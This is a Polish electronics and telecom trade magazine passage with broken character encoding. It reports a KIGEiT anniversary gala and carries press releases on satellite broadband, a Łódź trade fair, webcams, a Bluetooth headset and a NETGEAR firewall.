Jerzy Wenderlich, zastêpca przewodnicz¹cego sejmowej Komisji Gospodarki Antoni Mê¿yd³o, podsekretarze stanu

i dyrektorzy departamentów kilku ministerstw, przedstawiciele zaprzyjaŸnionych organizacji samorz¹du

gospodarczego i stowarzyszeñ, osoby, które wspó³pracuj¹ z Izb¹ lub s¹ jej sympatykami oraz przedstawiciele firm

cz³onkowskich. Uroczystoœæ poprowadzi³a Marzena S³upkowska z Telewizji Polskiej SA.

15-lecie istnienia Krajowej Izby Gospodarczej Elektroniki i Telekomunikacji

Wielka Gala



rów za³o¿enia Izby i pierwszemu prezesowi Izby
w latach 1992-1995;

Roman Kluska – za wiele inicjatyw i aktywnoœæ
na forum Izby, w szczególnoœci w sektorze informa-
tycznym oraz wieloletni¹ pracê w organach statuto-
wych Izby, jako jednemu z inicjatorów za³o¿enia
Izby i cz³onkowi w³adz statutowych Izby od I do IV
kadencji;

Bogdan Krajewski – za wiele inicjatyw i aktywnoœæ
na forum Izby, w szczególnoœci w sektorze infor-
matycznym oraz wieloletni¹ pracê w organach sta-
tutowych Izby, jako jednemu z inicjatorów za³o¿enia
Izby i cz³onkowi w³adz statutowych Izby w I i II ka-
dencji;

Ryszard Koz³owski – za wiele inicjatyw i aktyw-
noœæ na forum Izby, w szczególnoœci w sektorze
aparatury kontrolno-pomiarowej oraz pracê w orga-
nach statutowych Izby, jako jednemu z inicjatorów
za³o¿enia Izby i cz³onkowi w³adz statutowych Izby
od I do III kadencji;

Ryszard £ada – za d³ugoletni¹ wspó³pracê i wiele
nowych inicjatyw na forum Izby, w szczególnoœci
wspieranie inwestycji w sektorze elektronicznym
i wprowadzanie systemów jakoœci, jako jednemu
z inicjatorów za³o¿enia Izby;

Zbigniew Niemczycki – za wiele inicjatyw i aktyw-
noœæ na forum Izby, w szczególnoœci w sektorze
elektroniki konsumenckiej oraz pracê w organach
statutowych Izby, jako jednemu z inicjatorów za³o¿e-
nia Izby i cz³onkowi w³adz statutowych Izby w I i II
kadencji;

Zdzis³aw Nowak – za wiele inicjatyw i aktywnoœæ
na forum Izby, w szczególnoœci w sektorze elektro-
niki konsumenckiej i sektorze telekomunikacyjnym,
jako jednemu z inicjatorów za³o¿enia Izby;

Stanis³aw Szuder – za d³ugoletni¹ wspó³pracê
i wiele nowych inicjatyw na forum Izby, w szczegól-
noœci w sektorze telekomunikacyjnym, jako jednemu
z inicjatorów za³o¿enia Izby;

Jaros³aw Tworóg – za wiele inicjatyw i aktywnoœæ
na forum Izby, w szczególnoœci wspó³pracê ze œro-
dowiskiem naukowym oraz wieloletni¹ pracê w or-
ganach statutowych Izby, jako jednemu z inicjatorów
za³o¿enia Izby i cz³onkowi w³adz statutowych Izby
od II kadencji;

Marek A. Woœko – za wiele inicjatyw i aktywnoœæ
na forum Izby, wieloletni¹ pracê w jej organach
statutowych oraz skuteczne reprezentowanie Izby
w zarz¹dzie EICTA, jako jednemu z inicjatorów
za³o¿enia Izby i cz³onkowi w³adz statutowych Izby
od I kadencji.

Kolejn¹ uhonorowan¹ grup¹ by³y firmy cz³on-
kowskie, które zosta³y wyró¿nione za szczególne

wspó³dzia³anie w tworzeniu warunków rozwoju sek-
tora elektronicznego i telekomunikacyjnego w Pol-
sce oraz wspieranie inicjatyw gospodarczych Izby
w tym zakresie.

Oto ich pe³na lista:

l Alcatel-Lucent Polska SA;

l DGT sp. z o.o.;

l ELZAB SA;

l EXATEL SA;

l Flextronics International Poland sp. z o.o.;

l GTS ENERGIS sp. z o.o.;

l Instytut £¹cznoœci;

l Instytut Rynku Elektronicznego sp. z o.o.;

l Instytut Tele- i Radiotechniczny;

l Jabil Assembly Poland sp. z o.o.;

l JPMorgan Chase sp. z o.o.;

l Kimball Electronics Poland sp. z o.o.;

l LG Electronics M³awa sp. z o.o.;

l MAW Telecom International SA;

l MediaTel SA;

l Multimedia Polska SA;

l Netia SA;

l Nokia Siemens Network sp. z o.o.;

l NXP Semiconductors Poland sp. z o.o.;

l P4 sp. z o.o.;

l Philips Polska sp. z o.o.;

l TELE2 Polska sp. z o.o.;

l Telefonia Dialog SA;

l TP EmiTel sp. z o.o.;

l Unizeto Technologies SA;

l VECTOR sp. z o.o.

Ostatnim wyró¿nionym zosta³ prezes zarz¹du Izby
Stefan Kamiñski za wiele inicjatyw i aktywnoœæ na
forum Izby, w szczególnoœci skuteczne budowanie
pozycji KIGEiT w kontaktach z w³adz¹ ustawo-
dawcz¹ i wykonawcz¹ oraz wieloletni¹ pracê w or-
ganach statutowych Izby. Zas³ugi prezesa przy-
pomnieli przewodnicz¹cy rady Bogdan Rogala i wi-
ceprzewodnicz¹cy Marek A. Woœko.

W czêœci nieoficjalnej wyst¹pi³ znany pianista Wal-
demar Malicki. Galê zakoñczy³a uroczysta kolacja.

Partnerem g³ównym uroczystoœci by³a firma Multi-
media Polska SA, a partnerami wspieraj¹cymi ob-
chody 15-lecia KIGEiT by³y: ELZAB SA, Jabil As-
sembly Poland sp. z o.o., JP Morgan Chase sp.
z o.o., MEDIATEL SA, Netia SA, P4 sp. z o.o., NXP
Semiconductors Poland sp. z o.o., Philips Polska
sp. z o.o., TP EmiTel sp. z o.o. oraz TPV Displays
Polska sp. z o.o. Ze strony mediów uroczystoœæ
wspiera³y: TV Biznes, TVP Warszawa, the Warsaw
Voice i Tygodnik Przegl¹d. n
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We Francji us³uga bêdzie dostarczana klientom koñ-
cowym pod mark¹ „Vivéole” przez dostawcê us³ug
komunikacyjnych Auvea Ingénierie – firmê specjali-
zuj¹ca siê w instalacjach in¿ynieryjnych oraz siecio-
wych, z siedzib¹ w Tuluzie. We W³oszech, us³uga
bêdzie dystrybuowana przez dostawcê us³ug szero-
kopasmowych – Digitaria, przedstawiciela firm do-
starczaj¹cych us³ugi sieciowe i satelitarne – Netdish
oraz Eurosatellite.

W zwi¹zku z powy¿szymi sukcesami oraz dziêki
podpisaniu umowy z belgijskim dostawc¹ sprzê-
tu komunikacyjnego – firm¹ Newtec, SES ASTRA
rozpoczê³a produkcjê terminali koncumenckich
ASTRA2Connect na du¿¹ skalê. Terminale konsu-
menckie produkowane przez Newtec otrzyma³y nie-
dawno presti¿ow¹ nagrodê Europejskiego Produktu
Innowacyjnego Frost & Sullivan.

ASTRA2Connect jest w pe³ni satelitarnym rozwi¹za-
niem szerokopasmowego dostêpu, który umo¿liwia
korzystanie z us³ug typu dual- i triple-play, udostêp-
nianym za poœrednictwem sprzedawców hurtowych
oraz dostawców us³ug internetowych. Ta innowa-
cyjna infrastruktura oferuje wysoce niezawodny,
zawsze dostêpny, dwukierunkowy szerokopasmowy
dostêp do internetu za sta³¹ op³at¹. Sprzêt u¿ytkow-
nika koñcowego – modem i antena satelitarna – jest
niedrogi oraz dostarczany wraz z narzêdziem umo¿-
liwiaj¹cym przeprowadzenie instalacji we w³asnym
zakresie. ASTRA2Connect oferuje gospodarstwom
domowym w regionach pozbawionym naziemnej
³¹cznoœci satelitarnej unikatow¹ mo¿liwoœæ uzyska-
nia dostêpu do us³ug szerokopasmowych, takich jak
szybki internet i us³ugi VoIP.

£¹cznie, rynek docelowy dla satelitarnego szero-
kopasmowego produktu w Europie szacowany jest
na piêæ do dziesiêciu procent wszystkich euro-
pejskich gospodarstw domowych. SES ASTRA
obs³uguje ten rynek za poœrednictwem swoich sate-
litów znajduj¹cych siê na pozycji 23.5 E, zapew-
niaj¹c tym samym pan-europejskie zasiêgi dla
us³ugi ASTRA2Connect. Flota satelitów na pozycji
23.5 E bêdzie w przysz³oœci wzbogacona o kolejne,
które zostan¹ zamówione.

– Start ASTRA2Connect we Francji i W³oszech,

jak równie¿ zapocz¹tkowanie produkcji terminali

ASTRA2Connect na du¿¹ skalê s¹ wa¿nym krokiem

w pomyœlnym wdra¿aniu naszego innowacyjnego

satelitarnego szerokopasmowego produktu – powie-

dzia³ Alexander Oudendijk, Chief Commercial Offi-
cer firmy SES ASTRA.

– Chcemy w pe³ni wykorzystaæ nadarzaj¹c¹ siê spo-

sobnoœæ, aby za poœrednictwem istniej¹cych poje-

mnoœci satelitarnych wprowadziæ na rynek konku-

rencyjny produkt z cenowo dostêpnymi i ³atwymi w

instalacji terminalami. Zakontraktowane przychody

oraz zadeklarowana liczba terminali udowadniaj¹

pomyœlny start i potencja³ rozwojowy ASTRA2Con-

nect. Jesteœmy dumni z faktu, i¿ osi¹gnêliœmy tak

znacz¹ce wyniki ju¿ w ci¹gu dziewiêciu miesiêcy od

startu us³ugi. Dostêpnoœæ du¿ych iloœci terminali

ASTRA2Connect oraz nasze plany dotycz¹ce za-

mawiania kolejnych satelitów bêd¹ stanowi³y wspar-

cie dla dalszego rozwoju ASTRA2Connect na ró¿-

nych rynkach europejskich.

ród³o: SES-ASTRA; www.ses-astra.com
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SES ASTRA, spó³ka nale¿¹ca do SES (notowanej na gie³dzie Euronext Paris

oraz w Luksemburgu: SESG), podpisa³a kolejne kontrakty na wdra¿anie swojej

satelitarnej us³ugi szerokopasmowej ASTRA2Connect równie¿ we Francji i W³oszech.

Obecnie, tylko dziewiêæ miesiêcy od wprowadzenia produktu w kwietniu 2007 r.,

SES ASTRA zawar³a umowy na jego dystrybucjê w siedmiu krajach europejskich.

Przysz³e zyski wynikaj¹ce z tych kontraktów siegaj¹ kwoty 165 milionów Euro,

przy ponad 200 000 terminali konsumenckich, które maj¹ byæ zainstalowane w ci¹gu trzech

do piêciu lat. SES ASTRA ju¿ podpisa³a umowy na dystrybucjê ASTRA2Connect w Niemczech,

Austrii, Szwajcarii, Irlandii i Polsce. Kolejne umowy w kilkunastu innych krajach europejskich

s¹ w trakcie negocjacji.

Pomyœlne wprowadzenie us³ugi w siedmiu krajach europejskich

Us³uga ASTRA2CONNECT



Byæ mo¿e identyfikacjê i to¿samoœæ £odzi mo¿na by
wykreowaæ wokó³ pojêcia megarynku, z³o¿onego
z takich kompatybilnych i oryginalnych segmentów,
jak przekszta³cone EC-1, zrewitalizowane strefy
mieszkalne, Manufaktura czy te¿ ³ódzkie targo-

polis.

Od kilkunastu miesiêcy obserwujemy w innych
oœrodkach targowych prawdziwy boom inwestycyj-
ny: Poznañ dysponuje ju¿ 100.000 m2 powierzchni
wystawienniczej, Kielce 30.000 m2 i buduj¹ kolejn¹
halê, nowoczesne obiekty uruchomiono w Gdañ-
sku, Olsztynie, Krakowie. Najbardziej spektakular-
nymi przyk³adami z tej dziedziny s¹ jednak po
pierwsze – SILESIA Expo w Chorzowie, gdzie w³a-
œciciel firmy Kolporter zainwestowa³ 100 mln z³
i w ci¹gu kilkunastu miesiêcy uruchomiono nowo-
czesne centrum targowo-konferencyjne (docelowo
30.000 m2); po drugie – rozpoczêta budowa hali
o powierzchni 10.000 m2 w Warszawie (za 20 mln
euro). W efekcie za chwilê powstan¹ dwa potê¿-
ne wielofunkcyjne centra targowe w odleg³oœci
150-200 km od naszego miasta.

Wspomniane inwestycje œwiadcz¹ o rosn¹cym biz-
nesowym, a zw³aszcza promocyjnym znaczeniu tar-
gów. Podkreœlmy jedynie, ¿e w obiektach MT£ orga-
nizowanych jest rocznie 12 targów w³asnych (w tym
piêæ najwiêkszych imprez bran¿owych w Polsce)
i oko³o 30 ró¿norodnych imprez zewnêtrznych.

Mamy ambicje konkurowaæ z najlepszymi oœrodka-
mi targowymi w oparciu o wykwalifikowany zespó³
i wspomniany dorobek – blisko dwudziestoletni¹ tra-
dycjê i wiele nowych projektów imprez, po¿ytecz-
nych dla miasta i regionu. Barier¹ wzrostu jest
brak odpowiedniej infrastruktury targowej. W zwi¹-
zku z tym opracowaliœmy ca³oœciow¹ koncepcjê
zagospodarowania terenów targowych i harmono-
gram niezbêdnych inwestycji.

Etap I to hala o powierzchni 8.000 m2 z wielo-
funkcyjnym ³¹cznikiem (restauracja, sale konferen-
cyjne, biura organizacyjne, inne specjalistyczne po-
mieszczenia), wyceniona na 55 mln z³. Obiekt ma
byæ przede wszystkim funkcjonalny, ale tak¿e powi-
nien stanowiæ kolejny estetyczny i architektoniczny
wyró¿nik naszego miasta, wokó³ którego mo¿na by
realizowaæ dewizê MT£, tj. „Przyjazne miejsce dla
³odzian”, z czasem równowa¿¹c obecn¹ dominacjê
Manufaktury w tym zakresie.

Wyró¿nikiem nowego centrum targowego bêdzie
szeroko rozumiana ekologia, zarówno poprzez reali-
zowane imprezy targowe – np. Salon ¯róde³ Energii
Odnawialnych, Targi Zdrowej ¯ywnoœci, Festiwal
Zdrowia – jak i infrastrukturê, np. solary, geotermia,
nowoczesne aran¿acje roœlinne, transport (ryksze,
meleksy). n
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Targi zwi¹zane s¹ historycznie z rynkiem – czyli centralnym

miejscem, skupiaj¹cym mieszkañców i przybyszów.

£ódŸ z racji swojego po³o¿enia, wielokulturowych korzeni,

tradycji przemys³owych i potencja³u intelektualnego

mo¿e aspirowaæ do roli wspó³czesnego rynku

w skali Polski i Europy.

£ódzkie targopolis Janusz Fornalik

MT£ planuj¹ budowê
nowoczesnego centrum
konferencyjno-targowego



– Korzystanie z kamer internetowych to ju¿ nie tylko

kwestia technologii – to sprawa stylu ¿ycia – po-
wiedzia³ Eoin Leyden. – Dlatego te¿ wyszliœmy

poza rolê jedynie dostawcy rozwi¹zañ technicz-

nych – stworzyliœmy witrynê internetow¹ www.myli-

vecam.com (dostêpn¹ w jêzyku angielskim) dla u¿yt-

kowników kamer Creative. Tutaj, oprócz podstawo-

wych informacji – takich jak instrukcje obs³ugi ka-

mer, mo¿na zapoznaæ siê z najnowszymi poradami

i sztuczkami, dowiedzieæ siê od ekspertów, jak na-

grywaæ wideoklipy, wykorzystaæ kamerê do zdalne-

go monitoringu, stworzyæ fotokalendarz i skonfiguro-

waæ ulubiony komunikator internetowy.

Wprowadzenie

Dziêki dostêpnoœci telefonii internetowej, komunika-
torów i innych us³ug sieciowych, komunikowanie siê
z rodzin¹ lub wspó³pracownikami nigdy wczeœniej
nie by³o tak ³atwe. Analitycy sugeruj¹, ¿e global-
ny rynek szerokopasmowego internetu, który roœnie
w tempie 45 mln u¿ytkowników rocznie, mo¿e
osi¹gn¹æ 368 mln klientów w 2009 roku. Zdaniem
Creative, rozwój ten bêdzie wzmacnia³ popyt na ka-
mery internetowe w nadchodz¹cych latach.

– Kamery internetowe, od momentu pojawienia siê

na rynku, umo¿liwi³y ludziom komunikowanie siê

w sposób, o którym wczeœniej nawet nie myœlano

– powiedzia³ Eoin Leyden, europejski mened¿er
marki kamer internetowych Creative. – Dziœ mo¿na

z ³atwoœci¹ rozmawiaæ „twarz¹ w twarz”, nawet gdy

dziel¹ nas tysi¹ce kilometrów, a mo¿liwoœæ ta jest

dostêpna dla ka¿dego, kto ma kamerê i po³¹czenie

z internetem. Firma Creative jest liderem w tej dzie-

dzinie, wprowadzi³a szereg innowacji technologicz-

nych, takich jak mikrofony z redukcj¹ szumów i pre-

cyzyjne obiektywy z systemem automatycznego

ustawiania ostroœci – Autofocus (AF).

Przydatne oprogramowanie z awatarami

Wybrane modele kamer Creative1 posiadaj¹ opro-
gramowanie udostêpniaj¹ce dynamiczne awatary,
dziêki którym rozmowy wideo nabieraj¹ nowego wy-
miaru. Funkcja ta umo¿liwia u¿ytkownikom kreowa-
nie nowych wizerunków jednym klikniêciem myszki.
Oprócz zaawansowanych i zabawnych efektów wi-
zualnych u¿ytkownicy mog¹ wprowadzaæ równie¿
efekty dŸwiêkowe, co jest funkcj¹ nieczêsto spoty-
kan¹ w innych kamerach internetowych.

Standardowe awatary dostarczane z oprogramowa-
niem mo¿na uzupe³niæ o samodzielnie stworzone,
dziêki oprogramowaniu Live! Cam Avatar Creator.
Aplikacja ta umo¿liwia przechwycenie i animacjê
ka¿dego zdjêcia jako mówi¹c¹ postaæ. Tak stworzo-
nego awatara mo¿na eksportowaæ do elektronicz-
nych kartek pocztowych lub wys³aæ jako klip wideo!

Kontrola rodzicielska

Bezpieczeñstwo w internecie jest spraw¹ bardzo
istotn¹, dlatego Creative oferuje rodzicom sposoby
uzupe³nienia nadzoru nad korzystaniem z internetu.
Aby chroniæ m³odych u¿ytkowników internetu przed
niew³aœciwymi rozmowami internetowymi, oprogra-
mowanie Creative Parental Control2 mo¿e chroniæ
dostêp do kamery has³em.

Przypisy
1 Dostêpne w modelach Live! Cam Optia Pro, Live! Cam Vi-

deo IM Pro, Live! Cam Notebook Ultra.
2 Dostêpne w modelach Live! Cam Optia AF, Live! Cam Optia

Pro, Live! Cam Optia, Live! Cam Video IM Pro, Live! Cam Vi-
deo IM, Live! Cam Vista IM, Live! Cam Notebook Ultra, Live!
Cam Notebook Pro i Live! Cam Notebook.

ród³o: INVENTIVE Communication
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Creative oferuje szeroki asortyment kamer internetowych przeznaczonych dla u¿ytkowników

w ró¿nych grupach wiekowych. Od podstawowych modeli do zaawansowanych kamer

internetowych z bogatym zestawem funkcji i oprogramowaniem.

Bezpieczniejsze i przyjemniejsze rozmowy internetowe
z kamerami CREATIVE

Kamery internetowe
Creative Live! Cam



Prze³adowane torebki, próby odnalezienia dzwo-
ni¹cego w nich telefonu oraz wyœcig z czasem – to
typowe trudnoœci w dzisiejszym œwiecie, w którym
tempo ¿ycia jest tak szybkie. Dlatego te¿ Sony Eric-
sson opracowa³ stylowe i ³atwe w obs³udze akceso-
rium, które œwietnie wygl¹da i pomaga efektywnie
organizowaæ to aktywne ¿ycie – zestaw s³uchawko-
wy Bluetooth™ HBH-PV712 Style Edition.

Ten zestaw s³uchawkowy, zaprojektowany specjal-
nie dla nowoczesnej kobiety, ³¹czy w sobie jakoœæ,
funkcjonalnoœæ i styl. Bluetooth™ HBH-PV712 Style
Edition to najnowsze narzêdzie, które sprawi, ¿e
dzieñ gwiazdy tenisa, kobiety prowadz¹cej firmê czy
m³odej mamy up³ynie choæ trochê spokojniej.

Niew¹tpliwie nowy zestaw s³uchawkowy Bluetooth™
HBH-PV712 Style Edition bêdzie mi³ym wytchnie-
niem dla aktywnych, wra¿liwych na modê kobiet na
ca³ym œwiecie. Zestaw ten jest owocem prowadzo-
nych przez zespó³ Sony Ericsson wnikliwych ba-
dañ, które mia³y na celu ujawnienie, czego dok³ad-
nie pragnie aktywna, nowoczesna kobieta: ³atwego
w obs³udze zestawu s³uchawkowego Bluetooth™,
który wygl¹da œwietnie, mieœci siê w torebce i nieza-
wodnie dzia³a. Podczas projektowania brano ca³y
czas pod uwagê kobiety i uwzglêdniano wa¿ne dla
nich aspekty – pocz¹wszy od udostêpnienia znacz-
nej iloœci czasu rozmowy, poprzez zastosowanie
technologii przyjaznej dla u¿ytkownika, a skoñczyw-
szy na umieszczeniu wygodnego, zawijanego
uchwytu na ucho, który sprawia, ¿e ³atwo korzysta
siê ze s³uchawki nawet przy d³ugich w³osach.

Wysokiej jakoœci zestaw s³uchawkowy Bluetooth™
HBH-PV712, w którym zastosowano technologiê
wzmacniania dŸwiêku, w tym Digital Signal Proces-
sing (SP) oraz Fast Automatic Volume Adjustment,
zapewnia kryszta³ow¹ czystoœæ dŸwiêku gdziekol-
wiek siê znajdziesz, podczas gdy trzy stylowe akce-
soria sprawiaj¹, ¿e wygl¹dasz zawsze doskonale
– zarówno na korcie tenisowym, jak i na parkiecie.

l Trzy stylowe obudowy Style-up™, zaprojekto-
wane tak, by mo¿na je by³o zdejmowaæ jednym
ruchem, pozwalaj¹ na szybk¹ ich zmianê w za-
le¿noœci od Twojego nastroju oraz ubrania. Wy-
bierz spoœród nastêpuj¹cych wariantów obudo-
wy: czerwona ze srebrnymi akcentami, czarna ze
srebrnymi, fioletowymi i czerwonymi akcentami,

oraz obudowa w kolorze „purple plated” – o fiole-
towym, metalicznym po³ysku.

l Oryginalna smycz do noszenia zestawu, po-
srebrzana i udekorowana czerwonymi, srebrnymi
i czarnymi pere³kami, zosta³a zaprojektowana tak,
aby pasowaæ do ka¿dej obudowy Style-up™. Po-
siada funkcjê szybkiego odpinania dla potrzeb
rozmów przychodz¹cych i mo¿na j¹ dostosowy-
waæ do stroju. D³ugoœæ smyczy mo¿esz tak¿e do-
pasowaæ do Twojego stroju, zgodnie z najnowszym
trendem noszenia zestawu w trybie czuwania.

l Stylowa sakiewka, stanowi¹ca wyrafinowane
akcesorium do noszenia zestawu, z motywem
kó³ oraz czerwon¹ siateczk¹. W sam raz na Twój
telefon i zestaw, a jednoczeœnie wystarczaj¹co
niewielka, aby zmieœciæ siê w Twojej torebce.

Sophie Herschtel-Keldsen, Product Business Mana-
ger ds. s³uchawek bezprzewodowych Bluetooth™
HBH-PV712 Style Edition powiedzia³a: Odbieranie

telefonów w sposób bezprzewodowy to przysz³oœæ

– zarówno w domu, w pracy, jak i gdziekolwiek siê

poruszamy. Niezawodny, ³atwy w u¿yciu i wygodny

zestaw s³uchawkowy Bluetooth™ HBH-PV712 Sty-

le Edition pod¹¿a œladem sukcesu zestawu Blue-

tooth™ PV705 Style Edition. Rozumiemy potrzeby

dzisiejszych kobiet i stale pracujemy nad rozwojem

nowych i ekscytuj¹cych produktów, które s¹ atrak-

cyjne, modne i ³atwe w obs³udze.

Zestaw s³uchawkowy Bluetooth™ HBH-PV712 Style
Edition jest owocem wieloletnich doœwiadczeñ i ba-
dañ Sony Ericsson w zakresie technologii Blue-
tooth™ oraz wzornictwa. Bêdzie dostêpny na ca³ym
œwiecie w lutym 2008 roku. n

ród³o: Sony Ericsson
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Lekki, wygodny, stylowy i posiadaj¹cy wysokie parametry

techniczne kobiecy zestaw s³uchawkowy Sony Ericsson

Bluetooth™ HBH-PV712 Style Edition – ka¿da kobieta

powinna mieæ go w swojej torebce.

Wysokiej jakoœci zestaw s³uchawkowy o kobiecym charakterze

Sony Ericsson
Bluetooth™ HBH-PV712
Style Edition





– Zespo³y testowe mia³y okazjê w pe³ni wyko-

rzystaæ funkcje i mo¿liwoœci FVS336G – powie-
dzia³ Wojciech Karwowski, country manager
NETGEAR Poland. – Jesteœmy przekonani, ¿e

funkcjonalnoœæ i wszechstronnoœæ urz¹dzenia

sprawi, ¿e znajdzie ono w Polsce wielu nabyw-

ców.

ProSafe Dual WAN Gigabit SSL VPN Firewall
(FVS336G) wyposa¿ono w zintegrowany, czte-
roportowy prze³¹cznik 10/100/1000 Mb/s umo¿li-
wiaj¹cy szybk¹ pracê sieci i zarz¹dzanie przez
SNMP. Urz¹dzenie zawiera równie¿ dwa porty
Gigabit WAN obs³uguj¹ce podwójne po³¹cze-
nia szerokopasmowe z funkcj¹ równowa¿enia
obci¹¿enia i przejmowania ruchu w przypadku
awarii, co zwiêksza przepustowoœæ i niezawod-
noœæ firmowego po³¹czenia z internetem.

Obs³uga tuneli VPN IPsec i SSL zapewnia zdalny
dostêp bez oprogramowania klienckiego, za po-
œrednictwem bezpiecznego po³¹czenia przez
przegl¹darkê. Urz¹dzenie umo¿liwia równie¿ do-
stêp za pomoc¹ oprogramowania klienckiego
starszej generacji. Ponadto tunele IPSec VPN
umo¿liwiaj¹ p³ynne otwieranie bezpiecznych tu-

neli VPN pomiêdzy ró¿nymi lokalizacjami, np. od-
dzia³ami terenowymi firmy.

ProSafe Dual WAN Gigabit SSL VPN Firewall
jest w pe³ni funkcjonaln¹ zapor¹ z licznymi
zabezpieczeniami: ochron¹ przed atakami DoS,
pe³n¹ inspekcj¹ pakietów (SPI), filtrowaniem s³ów
kluczowych w URL, logowaniem, raportowaniem
i ostrze¿eniami w czasie rzeczywistym.

ProSafe Dual WAN Gigabit SSL VPN Firewall
(FVS336G) oferowany jest z bezterminow¹ gwa-
rancj¹ sprzêtow¹. Dostarczany jest z wygodnym
w obs³udze ekranem konfiguracyjnym NETGEAR
ProSafe Control Center i asystentem instalacji,
skracaj¹cym czas przygotowania urz¹dzenia do
pracy.

– FVS336G jest ³atwy do zainstalowania, lecz

pozwala równie¿ bardziej zaawansowanemu ad-

ministratorowi skonfigurowaæ urz¹dzenie wed³ug

w³asnych potrzeb – wyjaœnia Tim Middleton,
specjalista ds. rozwi¹zañ.

– Funkcje Transport Layer Security to doskona³y

dodatek do tradycyjnej funkcjonalnoœci zapór

i routerów ProSafe, który umo¿liwia mened¿erom

IT elastyczne dostosowywanie œrodowiska pracy

pracowników mobilnych lub pracuj¹cych w domu,

bez potrzeby instalowania dodatkowych urz¹-

dzeñ. Jestem pod wra¿eniem wydajnoœci i stabil-

noœci FVS336G. Parametry po³¹czeñ z interne-

tem i sieci LAN sprosta³y moim oczekiwaniom.

W dalszym ci¹gu pozytywnie oceniam ogóln¹

funkcjonalnoœæ sieciowego interfejsu u¿ytkow-

nika.

– Nowa zapora ProSafe Dual WAN Gigabit SSL

VPN Firewall to idealny produkt dla ma³ych

i œrednich przedsiêbiorstw poszukuj¹cych roz-

wi¹zania sieciowego zapewniaj¹cego wysok¹

wydajnoœæ, solidne zabezpieczenia i ³atwy, bez-

pieczny dostêp dla u¿ytkowników zdalnych oraz

po³¹czeñ sieciowych pomiêdzy lokalizacjami

– wyjaœnia Wojciech Karwowski.

– Wszechstronna zapora daje zdalnym u¿ytkow-

nikom dostêp do danych korporacyjnych bez

u¿ycia oprogramowania klienckiego, za pomoc¹

standardowej przegl¹darki internetowej, a tune-

le VPN IPsec mog¹ jednoczeœnie otwieraæ bez-

pieczne po³¹czenia pomiêdzy lokalizacjami,

z obs³ug¹ starszych rozwi¹zañ klient-serwer. Zin-

tegrowany czteroportowy prze³¹cznik klasy Giga-

bit i dwa gigabitowe porty WAN gwarantuj¹ opty-

maln¹ wydajnoœæ i niezawodnoœæ sieci. ProSafe

Dual WAN Gigabit SSL VPN Firewall to jedna

z najbardziej wszechstronnych, niezawodnych
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Firma NETGEAR®, Inc. zaprezentowa³a NETGEAR® ProSafe Dual

WAN Gigabit SSL VPN Firewall (FVS336G) – wszechstronn¹,

funkcjonaln¹ zaporê zapewniaj¹c¹ bezpieczeñstwo sieci

oraz zdalny i niezawodny dostêp do internetu. Nowy model

przeznaczony jest dla ma³ych i œrednich przedsiêbiorstw.

Obs³uguje do 25 tuneli IPsec i 10 tuneli SSL VPN, oferuj¹c

bezpieczne po³¹czenia dwustronne, zdalny dostêp

lub funkcje telepracy, nie wymagaj¹c

oprogramowania klienckiego VPN.

Rozwi¹zanie sieciowe dla ma³ych i œrednich przedsiêbiorstw

NETGEAR®

ProSafe FVS336G



i bezpiecznych zapór dla ma³ych i œrednich

przedsiêbiorstw.

NETGEAR ProSafe Dual WAN Gigabit SSL

VPN Firewall

NETGEAR ProSafe Dual WAN Gigabit SSL VPN
Firewall (FVS336G) to zapora klasy SPI i czte-
roportowy prze³¹cznik 10/100/1000 Mbps z dwo-
ma gigabitowymi portami WAN, z obs³ug¹ VPN
typu SSL i IPsec, stanowi¹cy wydajny i przystêp-
ny cenowo element infrastruktury sieciowej dla
ma³ych i œrednich przedsiêbiorstw.

Oprócz klienckiego dostêpu zdalnego, realizowa-
nego poprzez maksimum 25 tuneli VPN IPsec,
FVS336G obs³uguje jednoczeœnie do 10 tuneli
VPN SSL, zapewniaj¹c zdalnym u¿ytkownikom
bezpieczny dostêp do firmowej sieci poprzez
standardow¹ przegl¹darkê internetow¹. Tunele
VPN SSL zabezpieczane s¹ przez przemys³owe
algorytmy szyfrowania i funkcje takie, jak auto-
matyczne czyszczenie pamiêci podrêcznej po
zakoñczeniu sesji, co chroni przed naruszeniem
prywatnoœci i nieupowa¿nionym dostêpem do
wra¿liwych danych.

FVS336G zawiera dwa gigabitowe porty Ethernet
WAN i mo¿e obs³ugiwaæ dwa szerokopasmowe

po³¹czenia internetowe w konfiguracji umo¿li-
wiaj¹cej równowa¿enie obci¹¿enia lub przejmo-
wanie ruchu w razie awarii.

Konfiguracja równowa¿¹ca obci¹¿enie umo¿liwia
maksymaln¹ przepustowoœæ wykorzystuj¹c oba
porty WAN do równomiernego roz³o¿enia ruchu
sieciowego na oba szerokopasmowe po³¹czenia.
Aby zwiêkszyæ niezawodnoœæ po³¹czenia inter-
netowego, drugi port WAN mo¿na skonfigurowaæ
jako po³¹czenie zapasowe na wypadek awarii
po³¹czenia g³ównego.

FVS336G jest ³atwy w u¿yciu i konfiguracji – po-
siada przyjazny u¿ytkownikowi ekran konfigu-
racyjny ProSafe Control Center i asystenta
u³atwiaj¹cego konfiguracjê.

Zapora jest kompatybilna z systemami operacyj-
nymi Windows®, UNIX®, Macintosh®, Linux®
i mo¿na ni¹ zarz¹dzaæ poprzez protokó³ SNMP.

Zapora NETGEAR ProSafe Dual WAN Gigabit
SSL VPN Firewall (FVS336G) oferowana bêdzie
w pierwszym kwartale 2008 roku z bezterminow¹
gwarancj¹ przez wiod¹ce sklepy detaliczne, in-
ternetowe i sprzedawców VAR, w cenie katalogo-
wej 425 USD (+VAT). n

Zród³o: Netgear
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Z ogólnej liczby ponad 5000 respondentów 79 proc.
uwa¿a, ¿e dobrze radzi sobie z kilkoma zadaniami
naraz, 50 proc. okreœla siebie jako wydajnych, a 31
proc. jako zajêtych. Wiêkszoœæ mê¿czyzn i kobiet
z Danii oraz Norwegii s¹dzi, ¿e potrafi robiæ kilka
rzeczy naraz. Najbardziej zrelaksowani okazali siê
Finowie z wynikiem 74 proc.

Przewa¿aj¹ca wiêkszoœæ, bo a¿ 80 proc. respon-
dentów, uwa¿a, ¿e dziêki telefonom komórkowym
mo¿e osi¹gn¹æ po¿¹dan¹ równowagê pomiêdzy
prac¹ a ¿yciem towarzyskim. 63 proc. responden-
tów uwa¿a, ¿e bez telefonu komórkowego ich wy-
dajnoœæ pogorszy³aby siê, a 74 proc. s¹dzi, ¿e dziê-
ki telefonowi komórkowemu lepiej sobie radzi z kil-
koma zadaniami naraz.

– Ludzie korzystaj¹ z telefonów komórkowych

w wiêkszym stopniu ni¿ kiedykolwiek przedtem

– powiedzia³ Dom Fried-Booth, dyrektor ds. badañ
w dziale Devices firmy Nokia. – Poniewa¿ wspó³cze-

